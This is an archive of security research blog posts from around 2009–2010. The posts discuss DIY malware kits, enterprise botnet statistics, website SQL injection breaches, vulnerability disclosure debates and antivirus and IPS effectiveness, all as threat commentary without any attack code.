My advice to organizations being targeted with APT’s, botnets and unauthorized remote control of corporate resources? Focus on the network CnC – and mitigate there. By all means protect your perimeter and clean up your hosts – that’ll keep the unsophisticated script-kiddies and rif-raf off your systems – but it means very little to the pros. Success in dealing with this threat – the threat that Google, Adobe, and most global businesses (and governments) face constantly – is to identify which assets are currently compromised and “nuke-and-pave” them asap. I.e. identify systems that are trying to connect to their remote CnC, immediately cut that tether, and rapidly rebuild that system from a known good state (which is increasingly looking like a bare-metal state). If you can get that notification-to-rebuilt process down to 20 minutes or less, you’ll be in a good position to deal with this class of threat long term. Until then, you’re just messing around at playing detective.

Database of DIY Trojans and Bots

2010-01-10T12:28:00.000-08:00

What does it take to search, locate and acquire free copies of the current generation of Trojan and Bot DIY construction kits? Practically nothing nowadays.

I noticed that its actually getting even easier to get your hands on these kinds of nefarious technologies this morning with the public availability of an online database from the folks over at Indetectables.
This new DIY Trojan and Bot database is currently online and serving up multiple public versions of the popular kits - such as Bifrost and Poison - along with a growing selection of plugin's for them. For example, if you're a Poison Trojan developer, the site hosts multiple versions ranging from 0.0 through to 3.2, along with the "free" plugins - such as "Firefox password recovery", WiFi scanning, host power controls and remote port scanning (to name a few).

If you're thinking of downloading the DIY kits and using them, remember the following:
1) Using them against a system you're unauthorized to access is illegal in most countries.
2) The probability that the DIY kits and/or the malware agents they create are backdoored is typically very high.
3) Your traffic to this database (and other similar sites) is logged, and those logs may be requested by legal authorities in the future.

Old Zeus DIY Still Evading Antivirus

2010-01-03T15:38:00.000-08:00

The Zeus DIY malware construction kits can be purchased for anything between $4,000 to $0.00 - depending upon the age of the kit and the exploit packs shipped with it. One of the "most recent" Zeus kits circulating the bargain-basement hacking forums is version 1.2.4.2 - dated May 2009.

A colleague of mine over at Damballa, Christopher Elisan, posted a short educational walk-through of this Zeus version for the uninitiated - Zeus 4 U. It's worth noting just how easy it's become to generate new Zeus botnet agents - and what the configuration defaults are (e.g. the default banks the keylogger functions target).

Most surprisingly (and disappointingly) is how commercial antivirus detection of the malware created by this DIY kit is still languishing after seven months!

The Botnet Helpdesk

2009-12-19T08:03:00.000-08:00

So, you're planning on building your own botnet and despite all the how-to videos on YouTube you're still having problems building your botnet malware agent and getting your command & control to work like the videos said ti would. What do you do? Well, if you purchased your DIY botnet creation kit from one of several "commercial" botnet providers, you'd contact their help-desk.

I kid you not. Several crimeware service providers go beyond 24x7 IRC and email support - now offering full online help-desks; complete with ticketing systems for tracking your "incident" and live virtual advisers.

For a full analysis of one of these botnet service providers - check out my latest blog entry over on the Damballa site - The Botnet Distribution and Helpdesk Services.

Anti-antivirus Testing Services

2009-12-17T11:48:00.000-08:00

If you're a professional botnet operator, the malware agents you use are critical. To guarantee successful operation of the botnet agent and avoid detection on the victims computer, it needs to be tested. Today there is a growing service industry focused on providing anti-antivirus detection and malware QA to cybercriminals.

I been playing around with anti-antivirus testing services and posed a new blog entry covering Virtest.com over on the Damballa site - Malware QA and Exploit Testing Services

Extracting CnC from Malware

2009-12-08T16:04:00.000-08:00

I've been asked quite a bit about the risks and value of automatic malware analysis within the enterprise over the last few months. There are of course a lot of technologies that enterprise can purchase and deploy withing their network to take in suspicious samples and classify them as benign or malicious.

Most of these technologies use a mix of signature and behavioral engines, although there's been a greater push recently to use virtual/sandboxing technologies as well (or as a replacement). I'm not convinced this is such a smart idea. The tools being used to create new families and serial variants of malware tend to be more sophisticated nowadays that whats being used to thwart them at the perimeter network. In fact practically anyone with the ability to use Google and permissions to install software on a computer can download many of the DIY malware construction kits and start generating crimeware thats guaranteed to defeat most of these commercial VM/Sandboxing technologies - some will even enable the would-be cybercriminal to use exploits to break out of the sandbox.

Anyhow, I've pulled together a whitepaper discussing the use of such technologies in obtaining botnet command and control information - and the limitations of such technologies within the enterprise.

"Extracting CnC from Malware" is now available on the Damballa web site.

Couple of NASA.Gov Sites Hacked

2009-12-05T19:46:00.000-08:00

I was just browsing a few blogs this evening and saw that NASA's Instrument Systems and Technology Division and their Software Engineering Division web sites were hacked and found to be vulnerable to what looks like SQL Injection as well as poor access controls. There may be a few other things going on there, but the details were pretty sparse, and I wasn't really looking to start probing the sites myself to find out what they're precisely vulnerable to.

The screenshot to the left shows access to the page editing functions of the site. NASA needs to get these sites secure as soon as possible. Any script-kiddie could walk in there and start adding their favorite drive-by download exploits as it stands.

The admin credentials (35 of them) were lifted off both Web servers by "c0de.breaker"

Original posting is over at TinKode.

Note: I've been advised that these vulnerabilities have been remediated.

Enterprise Botnets - Targeted or What?

2009-11-25T18:35:00.000-08:00

Whats the difference between these massive botnets gobbling up sizable chunks of the Internet and those found inside the enterprise? Quite a bit actually.

Over the last couple of months I’ve been talking at a number of conferences and speaking with customers about the kinds of botnets we observe within enterprise networks as opposed to whats generally seen propagating the Internet at large. As you’d expect, there are a number of differences – partly because of the types of bad actors targeting businesses, and partly because enterprise perimeter security is considerably more advanced than that found at the end of the average DSL Internet connection.

From a cross-network visibility perspective, the types of botnets regularly encountered operating within enterprises in 2009 can best be divided (and described) as follows:

Internet Targeted – or “broad-spectrum” attack for want of a better description – account for approximately half of all botnets regularly encountered inside enterprise networks. These botnets aren’t targeted at any particular network – just at the average Internet user – but they typically manage to infiltrate enterprise networks due to lax security policies and as bleed-over from the other networks (and devices) employees may connect to. I discussed some of this in the earlier blog – Botnet bleed-over in to the enterprise – in which botnets designed to steal online gaming authentication credentials often appear within the enterprise. Just about all of these broad-spectrum botnets can self-propagate using an assortment of built-in worming capabilities. Fortunately, just about every one of these botnets are easily detected with standard host-based antivirus products.

What this means in practice however is that hosts “not quite” adhering to the corporate security policy, or which are a little behind in apply the latest patches (including not running the very latest signatures for their antivirus package), are the first to fall victim – and no organization I’ve observed in the last 20 years has ever managed implement their security uniformly throughout the entire enterprise.

I foresee that these “broad-spectrum” botnets will continue to appear within enterprises and be a nuisance to enterprise security teams. That said though, just because they aren’t targeted and fixes are available, it doesn’t mean that there’s no threat. If a particular botnet agent doesn’t yield value to its original botnet master (e.g. a botnet focused on obtaining passwords for social networking sites), it is quickly passed on to other operators that can make money from it – repurposing the compromised host and installing new malware agents that will yield value to the new owner.

Enterprise Targeted botnets are botnets that are hardly ever found circulating the Internet, and are designed to both penetrate and propagate within enterprise networks alone. Around 35% of botnets encountered within enterprise networks are this type. They are typically based upon sophisticated multi-purpose Remote Access Trojans (RAT); often blended with worming functions capable of using exploits against standard network services (services that are typically blocked by perimeter firewal technologies). Perhaps the most visible identifier of a botnet targeted at enterprises is the native support for network proxies – i.e. they’re proxy-aware – and capable of leveraging the users credentials for navigating command and control (CnC) out of the network.

In general, these “targeted” botnets aren’t targeted at a specific organization, but at a particular industry (i.e. online retail companies) or category of personnel within the organization (e.g. the CFO).The botnet agents tend to more advanced (on average) than most botnet malware encountered within enterprise networks – offering greater flexibility for the botnet masters to navigate the network and compromise key assets, and to be able to extract any valuable information they manage to obtain.

Deep Knowledge botnets are a completely different beast. Accounting for 10% of the botnets encountered within typical enterprise networks, these botnets tend to rely upon off-the-shelf malware components (more often than not, being built from commercial DIY malware creator kits). Depending upon the investment made by the botnet master, the features of the botnet agent can be very sophisticated or run-of-the-mill. What makes them so dangerous though is that the creator (who is often the botnet master) has a high degree of knowledge about the infiltrated enterprise – and already knows where to find all the valuable information. In some cases specific people or systems are targeted as beachheads in to the organization, while in others key organization-specific credentials are used to navigate the network.

Where this “deep knowledge” comes from can vary considerably. Each botnet within this category tends to be unique. I’ve come to associate these botnets with past or present employees (rather than industrial espionage) – as it’s not uncommon to be able to associate the CnC server of the botnet to a DSL or cable Internet IP address in the same city as the office or building that has been breached. In some cases I wouldn’t be surprised if the installation of these botnet agents were conducted by hand as a means of (semi)legitimate remote administration (think back to the problem in the mid-1990’s when people were installing modems in to their work computers so they could access them remotely). The problem though is that most of these commercial DIY malware construction kits have been backdoored by their creators (or “partners” in their distribution channel) – which means that any corporate assets infected with the botnet agent will find themselves under the control of multiple remote users.

“Other” represents the catch-all for remaining 5% of botnets encountered within enterprise networks. These botnets (and the malware they rely upon) vary considerably in both sophistication and functionality, and don’t fit neatly in to any of the previous three categories. They include the small botnets targeted at an organization for competitive advantage, through to what can only be guessed at as being state-sponsored tools targeting specific industries and technologies.

It’ll be interesting to see how the distribution of these four categories of botnets change in 2010. I suspect that the proportions will remain roughly the same – with the “other” category decreasing over time, and being largely absorbed in to the “Enterprise Targeted” category rather than “Deep Knowledge”.

==> Reposted from http://blog.damballa.com/

Symantec Site Vulnerable to Blind SQL Injection

2009-11-23T06:07:00.000-08:00

It looks as if Symantec has a bit of a problem with Blind SQL Injection. Unu has uncovered the vulnerability lying in one of Symantec's public Internet portals.

Using a couple of off-the-shelf tools - Pangolin and sqlmap - it's possible to enumerate the back-end databases supporting the public Internet web site - and this is what Unu appears to have been done.

Blind SQLi isn't a particularly sophisticated vulnerability, but it is often a labor intensive type of attack - not to mention rather noisy (due to the repeated requests and incremental guessing of characters that make up the database objects). That said, there are a bundle of tools out there that'll do all this work for you - so you don't need to be particularly security-savy to do this. In fact you probably don't even to need to know what SQL is since the tools take care of everything for you.

I discussed some of this the other week at the OWASP conference. Today these kinds of tools and features are becoming standard within botnets - which means that exploitation of these vulnerabilities and enumeration of the the database' data can be conducted in a few minutes - way before a security team can actively respond to the attack and close down the breach and loss of confidential data.

After enumerating the Symantec Web server, it would seem that there is data covering a number of Symantec products Oasis, Northwind, OneCare, as well as a couple of very interesting storage points relating to Norton and SymantecStore.

Based upon whats visible upon Unu's site, the Symantec store contains over 70,000 rows - which appear to be customer records, complete with clear-text passwords - that's bad and dumb! (Symantec should know better).

Oh, and there appears to be something like 122k records associated with product serial numbers.

I'm hoping that Symantec are dealing with this vulnerability and closing it down (as it's not clear whether Unu provided Symantec with prior knowledge of this vulnerability). In the meantime, they may want to start looking for a new security vendor to do some WebApp pentests.

IBM, OWASP's O2 and Dinis

2009-11-17T05:53:00.000-08:00

Last week I was in Washington DC speaking at the annual OWASP AppSec conference. While there and acquaintance of mine - Dinis Cruz - posted a series of blogs concerning IBM, Ounce Labs, OWASP's O2 project and his mix in the equation - as well as presenting upon the status of O2. The crux of the blog series covers Dinis' analysis of why the recent purchase and integration of Ounce Labs in to IBM could work (but isn't) and a home for O2.

A few people have commented on the blog series - most notably R'Snake - in particular as it relates to the O2 project.

To be perfectly honest I'm not that familiar with the O2 project - having never gotten my hands dirty playing with it - but I know from experience how valuable similar tool integration frameworks are. From a pure-play consulting perspective, the ability to automate the dissection of results from multiple static analysis tools is money in the bank, and as such most security consulting practices offering code analysis services have typically invested their own time and money building similar tools. But custom integration paths are a substantial cost to consulting companies - so an Open Source framework has a lot of appeal (if it's good enough).

That said, Open Source projects like O2 typically have little to no appeal for any but the smallest MSSP and SaaS providers. Such service providers - seeking to build managed offerings around the integration and consolidated output of commercial (and freeware) tools - suffer from intense pressure by investors (and potential acquisition/merger partners) to not include Open Source code due to licensing and intellectual property disclosure concerns. Taking O2 down a commercial route eventually (or offering a seperate route like SNORT/SourceFire) would however have an appeal in these cases.

Shifting focus back to IBM and the acquisition and integration of Ounce Labs technology in to the Rational software portfolio - I share several of Dinis' concerns. From what I understand (and overheard at the OWASP conference), the Ounce Labs technologies are rolling under the Watchfire product team and being integrated together - which I would see as a sensible course of action, but would effectively mean the end of the "Ounce Labs" brand/product label. NOt that that really matters to the market, but it does tend to turn-off many of the employees that transitioned to IBM as part of the acquisition. Having said all that though, the WatchFire team are a bunch of very smart people and they were already well on the way to having developed their own static analysis tools that would have directly competed with Ounce Labs (at least in the Web-based language frameworks) - so this current integration is largely a technology-path accelerator rather than a purchase of new technology.

Dinis proposes a story - well, more of a "plot" - in which IBM can fulfil the requirements of a fictitious customer with an end-to-end solution. His conclusion is that IBM has all the necessary components and is more than capable of building the ultimate solution - but it's going to be a hard path and may never happen in practice.

I can understand the motivations behind his posts - particularly after personally passing through the IBM acquisition and integration of ISS. IBM has so much potential. It has some of the brightest researchers I have ever encountered in or out of academia and some of the best trained business executives in the world - however, it's a monster of a company and internal conflict over ownership (of strategy, the customer, and key concepts such as "security") between divisions and "brands" appears all to often to sink even the best made plans or intentions.

My advice to Dinis in making up his mind whether to stay with IBM or to move on would be this... if you enjoy working on exciting problems, inventing new technologies and changing focus completely every 2-4 years, but aren't overly concerned whether your research and technology will actually make it to a commercial product - then IBM is great (you can even start planning your retirement). However, if you're like me and the enjoyment lies in researching new technologies and solving problems that customers will actually use and be commercially available in the same year (or decade?) you worked on them, then it's unlikely you'd find IBM as fulfilling. IBM's solution momentum is unstopable once it gets going - but it takes a long time to get there things rolling and is pretty hard to change course once its rolling.

"Responsible Disclosure" - Friend or Foe

2009-11-15T19:18:00.000-08:00

It's been an interesting weekend on the "responsible disclosure" front. Reactions and tweet threads from several noted vulnerability researchers in response to K8em0's blog post (Behind the ISO Curtain) most notably those of Halvar Flake via his post (Why are most researchers not a fan of standards on "responsible disclosure" have been fast and (semi)furious.

On one hand it seems like a typical, dare I say it "annual", flareup on the topic. But then again, the specter of some ill-informed ISO standard being developed as a guide for defining and handling responsible disclosure was sure to escalate things.

To my mind, Halvar makes a pretty good argument for the cause that any kind of "standard" isn't going to be worth the paper its printed on. I particularly liked the metaphor...

"if I can actually go and surf, why would I discuss with a bunch of people sitting in an office about the right way to come back to the beach ?"

But the discussion isn't going away...

While I haven't seen anything on this ISO project (ISO/IEC NP 29147 Information technology - Security techniques - Responsible Vulnerability Disclosure) I suspect strongly that it has very little to do with the independent vulnerability researchers themselves - and seems more focused on how vendors should aim to disclose (and dare I say "coordinate" disclosures) publicly. In general most vendor-initiated vulnerability disclosures have been mostly responsible - but in cases where multiple vendors are involved, coordination often breaks down and slivers of 'ir' appear in front 'responsible'. The bigger and more important a multi-vendor security vulnerability is, the more likely it's disclosure will be screwed up.

Maybe this ISO work could help guide software vendors in dealing with security researchers and better handling disclosure coordination. It would be nice to think so.

Regardless, I think the work of ICASI is probably more useful - in particular the "Common Frameworks for Vulnerability Disclosure and Response (CVRF)" - and would probably bleed over in to some ISO work eventually. There are only a handful of vendors participating in the consortium (Cisco, Microsoft, IBM, Intel, Juniper and Nokia), but at least they're getting their acts together and working out a solution for themselves. I may be a little biased though since I was briefly involved with ICASI when I was with IBM. Coordination and responsible disclosure amongst these vendors is pretty important - eat your own dog-food and all that lark.

At the end of the day, trying to impose standards for vulnerability disclosure upon independent researchers hasn't and isn't going to work - even if these "standards" were ever to be enshrined in to law.

Clubbing WebApps with a Botnet - OWASP AppSec 2009

2009-11-09T13:37:00.000-08:00

Back from vacation, fully refreshed, and back to the blog (and conference speaking)...

This week I'll be in Washington DC for the annual OWASP US conference - AppSec USA 2009. I'm speaking Thursday morning (10:45am-11:30am) on the topic of "Clubbing Web Applications with a Botnet", where I'll be covering the threat to Web applications from botnets - in particular they way they can (and are) used as force multipliers in brute-forcing and SQL Injection attacks.

A quick abstract for the talk is as follows:

The lonely hacker taking pot-shots at a Web application – seeking out an exploitable flaw - is quickly going the way of the dinosaur. Why try to hack an application from a solitary host using a single suite of tools when you can distribute and load-balance the attack amongst a global collection of anonymous bots and even ramp up the pace of attack by several orders of magnitude? If you’re going to _really_ hack a Web application for commercial gain, the every-day botnet is now core equipment in an attacker’s arsenal. Sure, DDoS and other saturation attacks are possible – but the real benefits of employing botnets to hack Web applications come from their sophisticated scripting engines and command & control which allow even onerous blind-SQL-injection attacks to be conducted in minutes rather than days. If someone’s clubbing your Web application with a botnet, where are your weaknesses and how much time have you really got?

I spoke briefly on the topic earlier this year at the OWASP Europe conference, but will be covering some new research in to techniques and trends - in particular the growing viability of Blind SQL Injection techniques.

If you happen to be in DC Thursday/Friday, drop by the conference. If you're already planning on attending the OWASP conference, make sure you attend my talk in the morning.

"Add-ons may be causing problems" Says Firefox

2009-10-17T19:32:00.000-07:00

So, it looks like the Mozilla folks have taken the initiative to block a couple of (pretty much) now default Microsoft Windows plug-ins that open up a few additional vectors for the bad guys to conduct drive-by-download attacks.

The two Firefox add-in's are the Microsoft .NET Framework Assistant and the Windows Presentation Foundation (as depicted in the screenshot of my system this evening).

Brian Krebs over at the Washington Post has a blog entry up (Mozilla Disables Microsoft's Insecure Firefox Add-on) covering more of the background on the topic and what led up to this latest Firefox response.

So, thumbs up to the Firefox team for taking the initiative here and working to protect their users. Keep up the good work.

Oh, and thanks also for the work with the new Plugin Check page. Its a great start to something thats been missing for quite some time (for mainstream users). There's still a lot of work to be done in figuring out which versions are installed (if the my screen shot below is anything to go by) and helping to manage the update process. It's something I've been calling for for quite some time now (see the whitepaper - Understanding the Web Browser Threat) - but this is real progress.

Software Piracy and Host Compromise

2009-10-17T06:24:00.000-07:00

This last week has seen quite a bit of public discussion concerning the effect of software piracy on compromise rates, based upon Monday's release of a report titled "Software Piracy on the Internet: A Threat To Your Security"by the Business Software Alliance (BSA) - pages 6-12 are definitely worth a read (the rest is a little too self-serving of the BSA).

I don't believe the report actually holds any surprises for most security professionals, but it's always handy to have some independent (and current) validation.

I can remember back to the old 1980's BBS days where piracy was just as rampant with online games and even the base BBS software being backdoored by folks looking to make a quick buck through their leeched warez. The only thing that has changed has been the channels for distribution.

In the past I've conducted a number of studies related to pirate distribution channels - looking at both the exploits and malware being embedded in the content. For example, back in 2001-2002 when image file exploits were all the rage (e.g. JPEG/PNG/GIF/etc. file parsing vulnerabilities) I set up an experiment to analyze the content of several popular binary newsgroup channels (ranging from some of the heavily trafficked porn groups through to celebrity and disney image groups) and found that upwards of 5% of the copyrighted images being distributed contained exploit material (one popular vector was for the bad actors behind the attacks to respond to Repost Requests and Fills for missing images of popular collections).

A couple of years ago I repeated part of the experiment - but instead focusing on binary files (mostly games, Windows applications and keygens) and found almost two-thirds of the newsgroup content was backdoored with malware. I'm pretty sure that if I was to run the experiment again today I'd find the malicious file percentage to be higher. And thats just the newsgroup distribution channel. The P2P networks tend to be worse because its so much easier for others (potential victims) to stumble upon a malicious version of the pirated software - largely because it's a more efficient channel for criminals to operate under and they have a greater chance of enticing their victims (i.e. using faster P2P servers, constantly monitoring what's hot in file sharing, exploiting their own reputation systems, using botnets to saturate/influence, etc.).

What does this all mean? Well, it can probably be best summed up as "you get what you pay for" in most instances. While the motivations behind the BSA releasing this specific report are pretty obvious, so too is the fact that software piracy has, and always will be, a viable vector for criminals to make money both directly and indirectly through their pirated warez - i.e. selling "discounted" software, and through the use of the botnet infected hosts of their victims.

Dancho Danchev over at ZDNet has an interesting view on the problem by taking a look at the patching perspective - which I wholeheartedly agree with too. I covered the angle of patching (specifically Web browsers) in a whitepaper mid-2008 - Understanding the Web Browser Threat - that still applies today.

Serial Variant Evasion Tactics Whitepaper Released

2009-10-07T17:40:00.000-07:00

Finally, today saw the public release of my latest technical whitepaper. This new whitepaper focuses on the business and techniques of generating unlimited quantities of undetected malware.

Cybercriminals have built serial variant production systems for several years and have been increasingly successful in using their spawned malware to bypass antivirus detection systems. The concept is simple - produce and release new malware faster than the antivirus companies can release new signatures to detect them. This idea lies at the very heart of the explosion (and exponential growth) in the numbers of new malware being discovered.

My latest whitepaper explains the components used by cybercriminals to construct "undetectable" malware - breaking down the tools they rely upon and the production tactics they use.

The papers goal is to enlighten those responsible for maintaining enterprise antivirus defenses about the tools cybercriminals and botnet masters have at their disposal - and help them better understand the root causes for the exponential growth in malware on the Internet.

New paper is here - Serial Variant Evasion Tactics.

Ethical Malware Creation Courses

2009-09-29T18:57:00.000-07:00

My attention was drawn to a storm brewing up concerning the teaching of how to create malware. Apparently McAfee Avert Labs is advertising its Focus ’09 conference next month in Washington, D.C. and including a session titled: "Avert Labs — Malware Experience"

"Join experts from McAfee Avert Labs and have a chance to create a Trojan horse, commandeer a botnet, install a rootkit and experience first hand how easy it is to modify websites to serve up malware. Of course this will all be done in the safe and closed environment, ensuring that what you create doesn't actually go out onto the Internet."

This has already gotten a few malware experts a little hot under the collar. For example Michael St. Neitzel (VP of Threat Research and Technologies over at Sunbelt) decrees...

"This is unethical. And it’s the wrong approach to teaching awareness and understanding of malware. This would be like your local police giving a crash-course on how to plan and execute the perfect robbery -- yet to avoid public criticism, they teach it in a ‘safe environment’: your local police station."

Now, personally, I can't but feel an aspect of deja vu to all this banter. This argument about teaching how modern malware is built and hands-on training in its development has been going on for quite some time.

I remember having almost identical "discussions" back in 2000 when I helped create the ISS "Ethical Hacking" training course delivered in the UK (which was later renamed to "Network intrusion and prevention" around 2004 because some folks in marketing didn't like the term hacking) and later rolled out globally. Back then - practically a decade ago - there were claims that I was helping to teach a new generation of hackers... showing them the tools and techniques to break in to enterprise networks and servers. Within 3 years, such ethical hacking or penetration testing courses were a commodity - with just about every trade booth at a major security conference providing live demonstrations of hacking techniques.

Irrespective of the comparison with Ethical Hacking, training in the art of malware creation has been going on for ages. Just about any security company that does malware research has had to develop an internal training system for bringing new recruits up to pace with the threat - and of course they have to know how to use the tools the criminals are using to create their crimeware. So, for practically the entire lifetime of the antivirus business, people have been trained in malware development.

Whats all the waffle about "unethical" anyway? Is there a worry that trade secrets are going to be lost, or that a new batch of uber cyber-criminals are suddenly going to materialize? It doesn't make much sense to me. The bad guys already know all this stuff - after all, the antivirus companies follow their criminal counterpart's advances; it's not the other way around.

Looking back at the development of commercial Ethical Hacking courses and all the airtime nay-sayers got about training a new generation of hackers, I'm adamant these the availability of courses dramatically improved the awareness of the threat for those that needed to do something against it and enabled them to understand and better fortify their organizations. I only wish such courses had existed several years before 2000 - so we'd all be in a more advanced defensive state.

I honestly can't understand why the anti-malware fraternity has been so against educating their customers, and security professionals in general, the state of the art in malware creation and design. Hands-on training and education really works.

Good on McAfee - I'm backing the course, and want to see this type of education as easily available as that for penetration testing.

In fact you'll probably remember me mentioning that I'm also a proponent of making sure penetration testers and internal security teams use their own malware creations in pentests to check their defense in depth status. My, didn't that raise a ruckus too.

Smaller botnets dominate the enterprise network

2009-09-29T15:47:00.000-07:00

I've been a little quiet on the blog these last couple of weeks - having spent quite a bit of time either writing or delivering new threat presentations (3 last week alone). Last week while I was in Miami speaking at Hacker Halted, a colleague (Erik Wu) was in Geneva for VB2009 presenting our latest findings of a study of some 600 different botnets encountered within enterprise networks.

I finally got around to pulling a quick blog together for the Damballa site covering one of the findings - related to the size of botnets. You can find a copy of the posting Botnet Size within the Enterprise on the Damballa blog and cross-posted below.

One additional thing I'd like to point out though... the number of hosts compromised which are members of small botnets is still only a fraction of the total number of botnet members found within the enterprise - i.e. we're talking about botnets operated by 600 botnet masters, rather the 1m+ compromised hosts we studied.

Cross-posting begins...

Last week at the VB2009 conference in Geneva, Erik Wu of Damballa presented some of our latest research findings. There’s been quite a bit of interest in these botnet findings – largely because very few people have had the opportunity to examine enterprise-focused botnets, rather than the noisy mainstream Internet botnets – in particular the differences between the two types of networks. So, with that in mind, I wanted to take some time here to provide more information about the key findings (I’ll try to cover other aspects in later blogs).

While we often observe plenty of stats pertaining to just how big some of the largest Internet-based botnets are (reaching in to the tens-of-millions), the spectrum of Enterprise-botnets appear to be different – at least from Damballa’s observations across our enterprise customers.

Based upon Damballa’s observations of some 600 different botnets encountered and examined within global enterprise businesses over three months, we found that small (sub 100 member) botnets account for 57 percent of all botnets.

Fig 1. Biggest Botnets within Enterprise

As you can see in the pie chart above, Huge botnets (10,001+ members) accounted for 5 percent, Big botnets (501-10,000) accounted for 17 percent, Average botnets (101-500) accounted for 21 percent and Small (1-100) reached 51 percent of the 600 different botnets found successfully operating within enterprise environments.

The average size of the 600 botnets we examined hovered in the 101-500 range on a daily basis. Why do I use the term “on a daily basis”? Because the number of active members within each botnet tend to change daily – based upon factors such as whether the compromised hosts were turned on or part of the enterprise network (e.g. laptops), whether or not they had been remediated, and whether or not the remote botnet master was interactively controlling them.

While many people focus on the biggest botnets circulating around the Internet, it appears that the smaller botnets are not only more prevalent within real-life enterprise environments, but that they’re also doing different things. And, in most cases, those “different things” are more dangerous since they’re more specific to the enterprise environment they’re operating within.

Taking a closer look at all these small botnets (sub 100 victim counts), we noticed that the vast majority of them are utilizing many of the popular DIY malware construction kits out there on the Internet. These DIY kits (such as Zeus, Poison Ivy, etc.) normally retail for a few hundred dollars – but can often be downloaded for free from popular hacking forums, pirate torrent feeds and newsgroups – and are usable by anyone who knows how to use an Internet search engine and has ever installed software on a PC before.

It looks to me as though these small botnets are highly-targeted at particular enterprises (or enterprise vertical sector), typically requiring a sizable degree of familiarity of the breached enterprise itself. I suspect that in some cases we’re probably seeing the handy-work of employees effectively backdooring critical systems so that they can “remotely manage” the compromised assets and avoid antivirus detection – similar to the problems enterprise organizations used to have with people placing modems in machines for out-of-hours support. The problem though is that the majority of these “freely available” DIY malware construction kits are similarly backdoored. Therefore any employee using these free kits to remotely manage their network are also providing a parallel path for the DIY kit providers to access those very same systems – as evidenced with these small botnets often having multiple functional command and control channels.

As for the other small botnets, it looks like these are more professionally managed – with botnet masters specifically targeting corporate systems and data within the victim enterprise. These small botnets aren’t being used for noisy attacks (such as those seen throughout the Internet concerning spam, DDoS and click-fraud) – but rather they’re often passively monitoring the enterprise network to identify key assets or users and then going for high value items that can be either used directly (e.g. financial controller authentication details for large money transfers) or high value salable data (e.g. extracting copies of customer databases and source code to applications). Unfortunately for their enterprise victims, the egress traffic is almost always encrypted – so the only way of finding out specifically what information has been leeched away is going to rely upon detailed forensics and log analysis of the compromised hosts and the systems they interacted with.

The net result is that these smallest botnets efficiently evade detection and closure by staying below the security radar and relying upon botnet masters that have a good understanding of how the enterprise functions internally. As such, they’re probably the most damaging to the enterprise in the longterm.

– Gunter Ollmann, VP Research

Drive-by Malware Detection Rates

2009-09-18T11:56:00.000-07:00

My attention was drawn today to a new threat report issued by Cyveillance covering their H1 2009 Cyber Intelligence Report. It's a nice report that focuses extensively on Web-based fraud and infection tactics - offering yet another view of the threat landscape.

While much of the report is fairly standard stuff (my, haven't things changed over the last 3 years now that every security company is putting out similar reports!), there's one particular nugget I found especially interesting. It would seem that Cyveillance conducted a solid study of the malicious Web sites they were periodically navigating, retreiving the malware from the drive-by attempt, and then subjecting the sample to a battery of standard AV detection products. The net result is an analysis of the effectiveness of traditional (mainstream) AV products to identify the malware as malicious.

By way of illustration:

The findings of their study reveal that AV detection of "0-day" malware is poor. In fact you could summarize it as becoming a victim to drive-by malware with every second site you visit - despite having "protection". Some AV products fared much, much worse.

It's a valuable proof-point for the consumer that host-based AV isn't really cut out for protecting home computers any more.

In addition, I think it's further backing to something I've been saying for a couple of years now - corporations that conduct business over the Internet need to assume that (in many cases) their customers computers are already compromised and they may not be able to trust anything that comes from them. Therefore, corporations need to develop alternative security and validation technologies situated in the backend - operating in environments they can control (and trust) - rather than trying to forcing the security emphasis upon their own customers. Basically, in order to continue to do business with Internet customers, they have to assume that a sizable percentage of their customers and transactions are compromised. The whitepaper on the topic is "Continuing Business with Malware Infected Customers".

Getting back to the findings from Cyveillance... I wrote about the tactics being adopted by drive-by-download cyber-criminals and the advancement of their automated delivery systems (X-Morphic Exploitation) back in 2007 and they've been improving their techniques in the meantime. With a bit of luck I'll be releasing a new whitepaper soon covering the latest techniques and tools being used by cyber-criminals to develop undetectable serial variant malware - so watch out for it.

Actually, I'll be covering this topic a little next week at Hacker Halted 2009 in Miami - so drop on by if you want to see the real deal in undetectable malware production.

Ollmann speaking at the ISSA CISO Executive Event

2009-09-17T06:06:00.000-07:00

It looks like I'll be in Los Angeles this coming weekend for the ISSA CISO Executive Event in Anaheim.

The theme for this years event is "Cyber Crime", and I'll be speaking on the topic "The Silent Breach: Botnet CnC Participation in the Enterprise"

I've constructed a brand new presentation for this executive event, and I'll be covering the dynamics of botnet command and control practices, and the implications for enterprise security - in particular the transition from "infection" to "breach". There's a lot of new analysis content based upon observations within real-life enterprise environments - and that's an important distinction. Practically all past analysis of botnets have been focused upon the Internet at large but - guess what - the dynamics within enterprise are quite a bit different!

I'm looking forward to the event and the discussions that follow.

Ollmann speaking at Hacker Halted USA 2009

2009-09-17T05:54:00.000-07:00

Next Wednesday I'll be speaking at Hacker Halted 2009 down in Miami. I've never been to a Hacker Halted conference, so I'm looking forward to seeing what it's all like. So far the event has been really well organized by the Hacker Halted team - which always bodes well for a successful conference.

There's an outstanding line up of speakers for the event - in fact I'd go as far as saying that the line up is considerably stronger than recent BlackHat events. It's going to be a great event.

I'll be covering the topic: Factoring Criminal Malware in to Web Application Design

Here's a brief abstract for the talk...

With C&C driven malware near ubiquitous and over one-third of home-PC's infected with malware capable of hijacking live browser sessions, what attacks are _really_ possible? How can the criminals controlling the malware make real money from a "secure" e-commerce site? How are Web application developers meant to detect, stop or prevent an attack by their own customers?

If you're at the event or just happen to be in Miami Wednesday/Thursday, drop me an email if you care to grab a beer and discuss the evolving threat landscape.

TippingPoint IPS Fails Critical Tests

2009-09-10T06:32:00.000-07:00

I was reading a very interesting article today concerning the latest IPS testing results from NSS Labs. John Dunn over at TechWorld magazine has a story titled "Tippingpoint IPS struggles in new security tests".

Based upon the NSS Labs testing regime, TippingPoint's IPS (TippingPoint 10) detected/prevented less than 40 percent of the canned exploit tests. Lets be clear, that's bad! Just as important is the drop over the last five years in TippingPoints threat prevention coverage.

Some readers may think that I'm a little biased since I used to work for a competitor in this space - Internet Security Systems - and was responsible for their core threat detection technologies. While I'm not a great fan of TippingPoint - that's almost exclusively due to their commercial decision to purchase vulnerabilities from hackers, rather than their capability to protect organizations from Internet threats (despite the efforts of their marketing team).

TippingPoint's failure in these tests perhaps provide a degree of validation that commercial vulnerability purchase schemes do not increase protection. So the argument that such purchase programs allow security vendors to develop better protection, faster, is mostly marketing fluff.

That said, I suspect that TippingPoints poor performance in these latest tests to be more likely due to two factors:

The testing has changed. It's long been said that some security vendors develop protection designed to pass testing and review systems rather than real-life threats. NSS have improved their testing systems to better represent real-life networks and their mix of traffic, and that probably had a negative effect on TippingPoints solution.
